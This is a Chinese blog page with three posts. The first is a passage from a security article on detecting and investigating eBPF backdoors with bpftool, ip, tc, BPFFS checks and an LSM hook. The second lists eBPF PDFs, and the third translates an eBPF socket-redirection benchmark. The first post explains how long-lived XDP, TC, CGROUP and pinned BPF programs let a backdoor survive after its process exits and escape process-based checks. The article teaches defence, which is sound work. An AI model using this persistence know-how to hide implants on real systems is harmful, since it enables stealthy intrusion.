根据SYSCALL类型筛选 在BPF syscall里,子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,写的安全风险比读大。所以,我们可以过滤掉读操作,只上报、审计写操作。 比如: MAP的创建BPF_MAP_CREATE PROG加载BPF_PROG_LOAD BPF_OBJ_PIN BPF_PROG_ATTACH BPF_BTF_LOAD BPF_MAP_UPDATE_BATCH 尤其是有BPF需求的业务场景,可以更好的审计日志。 运行后 问个问题,eBPF用户态程序与内核态程序交互,加载bpf字节码后,能退出吗? 退出后,内核hook的bpf函数还工作吗?创建的map是否还存在? 后门程序为了保证更好的隐蔽性,会如何选择? 要回答这个问题,不得不提BPF程序的加载机制,BPF对象生命周期。 文件描述符与引用计数器 用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不在工作。 在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。 但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDP、TC和基于CGROUP的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。 溯源 在安全工程师视角里,就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中,都使用了eBPF的相关接口,意味着,如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能。 短生命周期 BPF程序类型代表 k[ret]probe u[ret]probe tracepoint raw_tracepoint perf_event socket filters so_reuseport 特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。 bpftool工具 eBPF程序列表 命令bpftool prog show,以及bpftool prog help查看更多参数。 结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。 另外,细心的你可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。 eBPF map列表 命令bpftool map show,以及bpftool map help查看更多参数。 通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在取证章节讨论。 bpflist-bpfcc bpflist-bpfcc -vv命令可以看到当前服务器运行的部分BPF程序列表。以笔者测试环境为例 root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc -vv open kprobes: open uprobes: PID COMM TYPE COUNT 1 systemd prog 8 10444 ehids map 4 10444 ehids prog 5 可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。 长生命周期: BPF程序类型代表 XDP TC LWT CGROUP 上面提到以ip命令加载bpf字节码的场景,常见BPF工具查询不到或信息缺失。其背后原因,需要从他的工作原理讲起。 ip命令加载bpf原理 BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。 以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。 IP命令的参数中包含bpf字节码文件名,IP进程打开.o字节码的fd,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的IP进程退出后,BPF程序依旧工作。 内核源码见:https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237 笔者做了抓包验证,IP关联XDP程序类型: 17:53:22.553708 sendmsg(3, { msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[ { iov_base={ {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, { {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } }, iov_len=52 } ], msg_iovlen=1, msg_controllen=0, msg_flags=0 }, 0) = 52 可以看到IFLA_XDP_FD后面的FD参数是6。同样,删除XDP程序,需要把FD设置为-1,对应NETLINK包构成如下: 17:55:16.306843 sendmsg(3, { ... {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } ... }, 0) = 52 不止IP命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers和 actions加载到 ingress/egress hook点。背后原理与IP类似,也是netlink协议与内核通讯,网卡维持BPF对象计数器。 检测机制 使用原生IP、TC等命令,查看网卡加载的BPF对象。 ip link show tc filter show dev [网卡名] [ingress|egress] 使用bpftool命令查看 bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF HOOK点。 CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图: BPFFS 除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器,来保持后台的活跃状态。使用时,只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。 BPFFS在linux的类型是BPF_FS_MAGIC,默认目录/sys/fs/bpf/,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC。 检测思路上,需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。 在linux系统上,mount -t bpf来查看系统所有挂在的文件类型,是否包含BPFFS类型。 确定BPFFS的目录后,再查看目录下的挂在点是否存在异常。 取证 内核已加载的BPF对象导出 bpftool工具可以导出有FD ID的PROG、MAP。 BPF PROG程序 可以导出opcode\visual\linum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。 root@vmubuntu:/home/cfc4n# bpftool prog help bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | linum }] BPF MAP 与PROG类似,也可以通过bpftool导出内容,并支持json格式化内容。 root@vmubuntu:/home/cfc4n# bpftool map dump id 20 [{ "value": { ".rodata": [{ "target_ppid": 0 },{ "uid": 0 },{ "payload_len": 38 ... BPFFS BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别,详情见bpftool help。 内核未加载的BPF对象 当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。 以笔者演示视频中的ehids进程为例,使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、GZIP压缩,作为go代码的变量,在部署时比较边界。 IDA pro加载时,我们可以在.noptrdata段部分看到这块代码,开始地址是0000000000827AE0,导出后再解压,可以还原原来的BPF ELF文件内容。 因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前HOOK BPF SYSCALL,找到FD设置的地方,也是可以导出BPF的ELF文件。 字节码分析 BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro也能支持,国外安全工程师开源了一个python插件:eBPF IDA Proc ,以及整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool ,有兴趣可以读读。 防御 eBPF在网络安全场景的使用,除了做入侵检测外,还是可以用于防御。 LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例,行为最明显的特征是父子进程的namespace不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。 同样,笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。 LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) { return -EPERM; } 在系统的配置上有一定要求,CONFIG_BPF_LSM=y,CONFIG_LSM配置内容,必须包含bpf等,详情可参考BCC类库Demo lsm probe 。 工程实现 练手 入门练手,可以尝试使用BCC的类库:https://github.com/iovisor/bcc ,以及C语言用户空间程序的各种Demo例子Demo BPF applications 。 类库选择 工程化时,对项目质量、稳定性、研发效率等都有要求,推荐cilium的纯go eBPF类库,由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。 笔者的产品也是参考datadog,抽象包装了cilium的eBPF库,实现配置化便捷管理eBPF程序。github仓库:https://github.com/ehids/ebpfmanager ,欢迎使用。 当然,也可以使用libbpf包装的go类库实现,比如tracee等产品。 系统兼容性 CO-RE eBPF的出现极大的简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增, 这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm被人们诟病的地方。 程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header等编译环境,同时编译也会消耗大量cpu资源,这在某些高负载机器上是不能被接受的。 因此BTF&CO-RE横空出现,BTF可以理解为一种debug符号描述方式,此前传统方式debug信息会非常巨大,linux内核一般会关闭debug符号,btf的出现解决了这一问题,大幅度减少debug信息的大小,使得生产场景内核携带debug信息成为可能。 可喜的是通过运用这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide 大型项目 在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、datadog 、falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验我们在以后的文章中分享。 总结 随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,笔者再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力。 这里,笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初,提到eBPF在防御检测产品研发、工程建设等,我们将在下一篇跟大家分享,敬请期待。 作者简介 陈驰 : 2017年加入美团,目前主要负责IDC服务器的检测防御产品研发,完善服务器侧纵深防御体系建设。 杨一 : 2017年加入美团,目前主要负责HIDS主机安全产品研发工作。 胡鑫博 : 2021年加入美团,目前主要负责HIDS Agent的研发。 参考文献 Creating and Countering the Next Generation of Linux Rootkits: DEF CON 29 - PatH - Warping Reality: Creating and Countering the Next Generation of Linux Rootkits DEFCON 29 - eBPF, I thought we were friends: https://www.youtube.com/watch?v=5zixNDolLrg eBPF的各种技术应用PDF集合: https://github.com/ehids/slide Offensive BPF: Malicious bpftrace : https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/ Bad BPF - Warping reality using eBPF: https://blog.tofile.dev/2021/08/01/bad-bpf.html Lifetime of BPF objects: https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例:https://arthurchiao.art/blog/bpf-advanced-notes-1-zh Features of bpftool: the thread of tips and examples to work with eBPF objects: https://qmonnet.github.io/whirl-offload/2021/09/23/bpftool-features-thread/ Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool: https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool Creating and countering the next generation of Linux rootkits using eBPF: Creating and countering the next generation of Linux rootkits using eBPF Pat Hogan eBPF Syscall: https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html Cilium eBPF实现机制源码分析: https://www.cnxct.com/how-does-cilium-use-ebpf-with-go-and-c/ ebpfkit is a rootkit powered by eBPF: https://github.com/Gui774ume/ebpfkit 招聘 美团信息安全部招聘研发专家,职位如下列表,职位描述见美团信息安全部2022年招聘岗位 。 安全研发专家(主机安全方向) 安全研发专家(RASP方向) WEB研发架构师(JAVA语言) 美团信息安全部其他职位 github 2022-03-09 2 0
分享一些eBPF技术相关的PDF 说明 笔者在学习eBPF技术期间,收集了很多高质量的PDF,覆盖网络安全、网络编排、运维监控、性能抽样、调试跟踪等场景,所谓吃水不忘挖井人,在这里分享给大家,帮助大家一起成长。希望在座的各位,也都能回馈业界。 文件首页展 PDF/slide列表 Security 安全 Stories from BPF Security Auditing at Google - Brendan Jackman.pdf eBPF Summit 2021 - Stories from BPF Security Auditing at Google - Brendan Jackman.pdf Think eBPF for Kernel Security Monitoring - Falco at Apple.pdf eBPF, I thought we were friends.pdf Rex Guo Junyuan Zeng - Phantom Attack - Evading System Call Monitoring.pdf BPFContain_Fixing_the_Soft_Underbelly_of_Container.pdf 2021-Secure Namespaced Kernel Audit for Containers.pdf SSTIC2021-Article-runtime_security_with_ebpf-fournier_afchain_baubeau.pdf eBPF_and_the_future_of_osquery_on_Linux.pdf Kernel_Runtime_Security_Instrumentation.pdf Container_Security_Issues_Challenges_and_the_Road_Ahead.pdf Fast and Safe Production Monitoring of JVM Applications with BPF Magic.pdf Kernel Runtime Security Instrumentation.pdf Creating and countering the next generation of Linux rootkits using eBPF.pdf us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf Mitigating Attacks on a Supercomputer with KRSI.pdf networking 网络 Efficient Software Packet Processing on FPGA NICs Fast-Packet-Processing-using-eBPF-and-XDP bpf-rethinkingthelinuxkernel bpf-turninglinuxintoamicroservices-awareoperatingsystem tracing profiling 跟踪抽样 Aug19_Designing_a_gRPC_Interface_for_Kernel_Tracing_with_eBPF_Leonardo_DiDonato Data-Centric Tracing with BPF - Alan Maguire Why is my eBPF code slow_ - Simar Singh observability monitoring 观测监控 Advanced_BPF_Kernel_Features_for_the_Container_Age_FOSDEM Performance Analysis Superpowers with Linux eBPF eBPF基础知识 eBPF Library Ecosystem Overview in Go, Rust, Python, C and More - Kyle Quest Beginners_guide_to_eBPF_programming_for_networking 高效入门eBPF-西安邮电大学-贺东升 LIz_Rice-Beginners_guide_to_eBPF eBPF进阶知识 LPC21_Towards_truly_portable_eBPF bpf internals tracing examples brendan gregg demystify-ebpf-jit-compiler eBPF Summit 2021 - BPF and Spectre - Daniel Borkmann - Final android eBPF-super-powers-on-ARM64-and-android 经典BLOG/站点 见 BLOG.md github 笔者把这些PDF都放到github仓库了,后续也会持续更新。也希望大家分享高质量PDF。 https://github.com/gojue/ebpf-slide 2022-01-25 0 0
[译]使用eBPF(绕过 TCP/IP)加速云原生应用程序的经验教训 译者注 本文翻译自 使用eBPF加速云原生应用程序的经验教训 ,前篇文章为How to use eBPF for accelerating Cloud Native applications,已经由国内博主ArthurChiao翻译+实践整理给出:[译] 利用 ebpf sockmap/redirection 提升 socket 性能 本文对比了eBPF绕过TCP/IP栈与普通TCP协议两种模式下,网络通讯的吞吐量、延迟、事务量等指标。 其技术原理在上篇中已经讲过,本篇的技术难度不大,译者参考原文,进行环境搭建,编码测试,根据自己的测试结果,对原文进行更加深刻的解读。 eBPF与主机安全 译者从事IDC的安全防御检测类产品研发,包括主机层面的入侵检测系统等。IDC领域,随着容器化技术不断演进,早已从主机时代转化到容器时代。而主机安全的研发思维,还停留在主机时代。比如: 物理机、虚拟机时代:进程间通讯是IPC、unixdomain socket,而容器化下,是GRPC\HTTP。 容器化时代:利用高效的eBPF技术做网络隔离,重新规划,能否应付得来 容器化时代:同一个宿主机上多个容器通讯,TCP改为本地socket转发(类似本文的技术) 当容器化技术依赖越来越多的内核新技术eBPF后,HIDS产品的检测技术,该如何演进? 木马后门利用了eBPF技术后,端口复用等问题变得相当容易,也没有独立的进程,没特征,HIDS产品该如何去发现? 翻译目的 带着这些问题,译者开始学习eBPF相关知识,为了更快更好的掌握eBPF,译者采用边学边动手的方式,来加快对新技术的理解,加深知识点的记忆。在学习过程过,感谢博主ArthurChiao 的一系列博文。 译者的开发环境 MacOS Big Sur 11.6 VMware Fusion 12.1.2 UBUNTU 21.04 server版的虚拟服务器(分配2核CPU,4G内存) 安装步骤 镜像地址: http://tw.archive.ubuntu.com/ubuntu-cd/hirsute/ubuntu-21.04-live-server-amd64.iso 安装相应工具包、类库 sudo apt-get install -y make gcc libssl-dev bc libelf-dev libcap-dev clang gcc-multilib llvm libncurses5-dev git pkg-config libmnl-dev bison flex graphviz sudo apt-get install -y make gcc clang llvm git pkg-config dpkg-dev gcc-multilib 修改apt源 修改源 /etc/apt/sources.list ,便于下载kernel源码 deb-src http://archive.ubuntu.com/ubuntu hirsute main deb-src http://archive.ubuntu.com/ubuntu hirsute- main sudo su apt update apt-get source linux-image-$(uname -r) apt-get source linux-image-unsigned-$(uname -r) apt install libbfd-dev libcap-dev zlib1g-dev libelf-dev libssl-dev 编译 bpftool 工具 cd /home/cfc4n/download/linux-5.11.0/tools/bpf/bpftool make sudo make install 编译bpf字节码 cd ~/project/os-eBPF/sockredir cfc4n@vmubuntu:~/project/os-eBPF/sockredir$ clang -O2 -g -target bpf -I /usr/include/linux/ -I /usr/src/linux-headers-5.11.0-37/include/ -c bpf_sockops_v4.c -o bpf_sockops_v4.o 加载bpf字节码 root@vmubuntu:/home/cfc4n/project/os-eBPF/sockredir# bpftool prog load bpf_sockops_v4.o "/sys/fs/bpf/bpf_sockops" libbpf: elf: skipping unrecognized data section(8) .rodata.str1.1 root@vmubuntu:/home/cfc4n/project/os-eBPF/sockredir# bpftool cgroup attach "/sys/fs/cgroup/unified/" sock_ops pinned "/sys/fs/bpf/bpf_sockops" 测试工具 netperf是本文的测试工具,安装方式 sudo apt install netperf netperf -V Netperf version 2.7.0 操作系统版本 uname -a Linux vmubuntu 5.11.0-37-generic #41-Ubuntu SMP Mon Sep 20 16:39:20 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux Linux内核TCP参数 拥塞控制 cat /proc/sys/net/ipv4/tcp_congestion_control cubic 接收缓冲区 buffer size 最小、默认、最大 cfc4n@vmubuntu:~$ cat /proc/sys/net/ipv4/tcp_rmem 4096 131072 6291456 发送缓冲区 cfc4n@vmubuntu:~$ cat /proc/sys/net/ipv4/tcp_wmem 4096 16384 4194304 eBPF TCP链路绕过实现 译文与原文 展示了如何编写简单的BPF程序实现socket level 重定向(redirection)。对于源和目的端都在同一台宿主机器的应用来说,可以实现绕过整个TCP/IP协议栈,直接将数据发送到 socket对端。效果如下图 译者注:在大公司的基础组件部门,可以在宿主机上,自动实现网络加速,不需要业务层根据不同环境而去分别实现unix domain socket和TCP两种sockt。大大减轻业务压力,提升基础架构部门的效率。 原文 我们多数客户对我们的服务有极高的性能SLA需求,我们也不断投资于性能增强以提高我们的服务质量。我们研究的其中一项技术就是eBPF,用于加速后端各种微服务之间的通信。 由于业界很少有文章全面介绍如何使用eBPF,我们决定与大家分享我们学到的知识。 这是由两部分组成的博客系列的第二部分,我们将在其中详细分享我们如何利用 eBPF 进行网络加速以及我们在此过程中所做的一些有趣观察。 在之前的博文中,我们分享 如何编写用于套接字数据重定向的 eBPF代码 以及如何使用 bpftool 将生成的eBPF字节码注入内核。在这篇文章中,我们深入探讨了从常规 TCP/IP 切换到eBPF后的各种性能提升。 使用 eBPF 进行网络加速——性能评估 一旦我们可以使用eBPF实现绕过TCP/IP堆栈,就必须要看到性能提升后的效果。为此,我们使用了较为知名的测量网络性能的工具netperf来评估吞吐量、延迟和事务率方面的收益。我们在以下两种情况下使用netperf评估了这些指标 : 流量正常通过TCP/IP堆栈, 流量使用eBPF sockhash映射重定向绕过TCP/IP堆栈 测试配置 测试设置如下: 在 MacOS High Sierra 上运行的 VirtualBox 6.1 上的 Ubuntu Bionic 18.04.03 LTS Linux 内核 5.3.0-40-generic TCP 设置 拥塞控制:cubic recv() 调用的默认缓冲区大小:131072 Bytes send() 调用的默认缓冲区大小:16384 Bytes MSS最大报文段长度(Maximum Segment Size):65483 Bytes netperf 2.6.0 测试步骤 网络吞吐测试 使用netserver服务端和netperf客户端进行60秒的各种发送消息大小的吞吐量测试: netserver -p 1000 netperf -H 127.0.0.1 -p 1000 -l 60 -- -m $msg_size 网络延迟测试 使用netperf命令,执行时长参数为60秒的各种请求和响应消息大小,进行延迟测量(第 50、90 和 99%): netserver -p 1000 netperf -P 0 -t TCP_RR -H 127.0.0.1 -p 1000 -l 60 -- -r $req_size, $resp_size -o P50_LATENCY, P90_LATENCY, P99_LATENCY 网络事务率测试 使用netperf命令来测试60秒运行的各种请求和响应消息大小的事务率: netserver -p 1000 netperf -t TCP_RR -H 127.0.0.1 -p 1000 -l 60 -- -r $req_size, $resp_size 测试结果 网络吞吐量结果 吞吐量:eBPF sockhash修改过的TCP/IP与常规TCP/IP比较 上图显示了eBPF sockhash修改过的TCP/IP与常规TCP/IP堆栈的吞吐量对比。比较有趣得是吞吐量的性能增长对于使用eBPF的发送请求消息大小是线性的。因为当应用程序在发送较大的消息时,几乎没有开销。 这结果与大家的认知不一致:会好奇为什么与常规TCP/IP路径相比吞吐量性能很差。事实证明,罪魁祸首是默认情况下在 TCP/IP堆栈中启用了Nagle算法。引入Nagle算法是为了解决小数据包淹没慢速网络从而导致拥塞的问题。因为如果它小于TCP MSS的大小,算法只需要一个TCP段是未完成的(未确认),在我们的测试中,这会导致TCP对数据进行批量传输。这种批处理会导致更多的数据传输和分摊开销,并且能够超过eBPF绕过TCP/IP的性能收益,它对每个发送调用缓冲区大小有固定的开销(见图7)。 当数据包大小接近TCP MSS时,常规TCP/IP没有合并发送的优势,TCP MSS中可以容纳的数据包更少(测试环境的MSS设置为65483 bytes)并通过以下方式发送到目的地TCP/IP内核堆栈。在这些大数据包发送大小下,eBPF凭借其低开销远远超过使用Nagle算法的TCP/IP堆栈的吞吐。接下来禁用Nagle算法(-D参数)来netperf重新测试: netserver -p 1000 netperf -H 127.0.0.1 -p 1000 -l 60 -- -m $msg_size -D 吞吐量:TCP/IP(禁用Nagle算法)与使用 eBPF sockhash 染过TCP/IP 禁用Nagle算法后,我们看到与eBPF sockhash重定向绕过相比,常规TCP的吞吐量优势完全消失。TCP/IP堆栈和eBPF sockhash映射的性能如预期的那样线性增加----eBPF比常规 TCP/IP具有更大的成长曲线,因为eBPF每次发送调用的固定成本开销。对于较大的发送消息大小和较小的 TCP MSS,这种性能差距更为明显。 译者测试结果 译者在测试时,把三种测试都集中在一张图里了。但测试使用TCP Nagle算法与eBPF绕过的差异并没有很大,而且也没有曲线上的交叉。译者暂时不清楚其中原因,大概是我测试的环境是macbook,恰恰同时我还在使用这台笔记本工作,导致了CPU、网络等不稳定吧。 吞吐量:eBPF VS TCP VS TCP-Disable-Nagle的比较 动态趋势图: 延迟测试结果 使用netperf重复我们的性能运行来测量延迟。我们测量了延迟的第50个、第90个和第99 个百分位数,这会改变发送和接收缓冲区(消息)的大小。测试结果里,使用中位数的延迟来显示趋势图。此外,我们还展示了64字节和256字节的不同请求消息大小的趋势。(请注意:netperf一次只有一个事务未完成。) 延迟测试:使用 eBPF sockhash绕过TCP/IP与常规TCP/IP 如图所示,eBPF sockhash绕过优于常规TCP/IP堆栈。其性能比常规 TCP/IP 堆栈高出近50%。考虑到eBPF通过将数据包从源socket的传输队列重定向到目标socket的接收队列,与TCP/IP中的那些相比,eBPF消除了任何协议级别的开销(慢启动、拥塞避免、流量控制等),这些优势带来的结果是显而易见的。此外,请求消息长度对延迟没有影响。我们没有尝试测量接近TCP MSS 的发送消息大小的延迟。 译者测试结果 译者对这个延迟指标也进行了测试,如下图 eBPF sockhash重定向与常规TCP堆栈的延迟对比 不管是64字节还是256字节的发送消息大小上,都比原生TCP的网络延迟更低。 虽然图表上的结果与原作者测试结果有一定差异,但整体分布比较均衡,也很清楚的体现出eBPF在低延迟上的优势。 动态趋势图 网络事务率 接下来,我们使用netperf继续测试事务率: 如果我们简单地将事务率曲线向左翻转,它们的趋势与延迟测量相同。 事务率:使用 eBPF sockhash重定向与TCP/IP 如图,针对不同的接收端消息大小绘制了各种发送消息请求大小的事务率。在延迟测量的情况下,我们看到事务率不受常规TCP/IP和eBPF sockhash重定向绕过以及请求响应消息大小的影响。 不同请求大小的事务率:TCP/IP vs TCP/IP bypass using eBPF sockhash map 译者测试结果 译者也进行了测试,只是测试环境不太稳定,macbook开的VM虚拟机,在性能测试的时候,同时还在用于办公。测试结果波动比较大,但总体来看,还是能从点的分布看得出eBPF与常规TCP的区别,深色的点是eBPF的结果,都分布在Y轴上面。浅色点是常规TCP的结果,都分布在Y轴下面。如下图: 动态图表 eBPF模式下网络吞吐量测试的内核开销 在下图中,我们绘制了当执行netperf吞吐量实验时eBPF sockhash映射绕过在内核中花费的时间。 可以看到对于256字节的发送消息大小,eBPF开销约为1.5秒,并且开销随着发送消息大小的增加而减少。 eBPF sockhash map重定向在内核中花费的时间 综述 eBPF确实是一项强大的技术,它允许从用户空间前所未有地访问Linux内核资源。当应用程序对延迟敏感时,使用eBPF绕过TCP/IP堆栈与同一主机上的另一个程序通信是一个最佳的使用场景。尤其是时下最热门的容器编排领域:在Kubernetes集群的同一pod中使用相互依赖的微服务就特别适合这个功能。也就是说,基于eBPF的TCP/IP绕过可以极大地减轻与使用RPC 和REST API进行大量通信的微服务相关的延迟。 我们还看到,虽然eBPF可以带来强大的性能提升,但盲目使用可能会产生意想不到的后果。具体来说,当我们只关心原始单向吞吐量时,使用默认设置,常规TCP/IP堆栈可以胜过eBPF(Nagle算法合并大量小包的情况)。 译者注:主机安全HIDS的未来趋势 正如本文演示的功能,用eBPF来解决K8S场景中,同一pod的多个docker container之间通讯延迟的问题。那在这种场景下,原来的HIDS产品能否感知到?物理机、虚拟机时代,原来的进程间通讯是IPC、unixdomain socket,而容器化下,是GRPC\HTTP,安全场景上已经有很大变化... 在当下微服务架构日益盛行的时代,必定追求更好性能,更快的速度,更大的负载方向走。而linux kernel的eBPF技术,必定是未来容器化、容器编排领域的热门技术。那么,在信息安全的主机安全领域,HIDS之类产品该何去何从?例如本文中的性能优化,在容器编排场景是特别有价值的使用,甚至已经有了成熟的产品上市。那HIDS还能检测的出来吗? 我们现在使用的单机化、虚拟化的传统思维模式研发安全防护产品,在面对云原生时代容器化的IDC安全问题时,还能跟得上吗?是时候用CIDS来代替HIDS了。 注: HIDS:Host-based Intrusion Detection System CIDS:Container Intrusion Detection System 附 测试脚本 <?php //benchmark.php function testTp($req_size) { $file = 'result/bench_tp_ebpf_r'.$req_size.'_30s'; $strCmd = "netperf -t TCP_RR -H 127.0.0.1 -p 1000 -l 30 -- -r $req_size, %d"; $arrAll = array(); for ($i=1; $i<=60; $i++) { $msg_size = $i*500; $cmd = sprintf($strCmd,$msg_size); echo $file, ": start to exec ",$cmd,"\n"; $arrExec = array(); exec($cmd, $arrExec); $r = array_pop($arrExec); $r = array_pop($arrExec); $r1 = preg_split('/\s+/',$r); $arrAll[$msg_size] = trim($r1[5]); $f = sprintf($file,$msg_size); } var_dump($arrAll); file_put_contents($f,json_encode($arrAll)); } $arrTest = array( 64, 128, 256); $strCmdServer = 'netserver -p 1000'; $rs = system($strCmdServer); var_dump($rs); foreach ($arrTest as $v) { echo "--------------------------------\n"; echo "--------开始测试:$v-----------\n"; echo "--------------------------------\n"; testTp($v); } echo "done\n"; 结果处理 执行./load.sh脚本,启用ebpf,执行php benchmark.php 合并 result/bench_tp_ebpf_*中几个文件,把json的结果转化到csv中 使用plotly.com创建图表,导入csv文件,开始制表画图 后续 我会开始分析Cilium的eBPF源码,了解eBPF在K8s产品中实现原理,更好的研发用eBPF实现行为观测的数据收集,安全防护的CIDS(HIDS)产品 2021-11-01 1 0
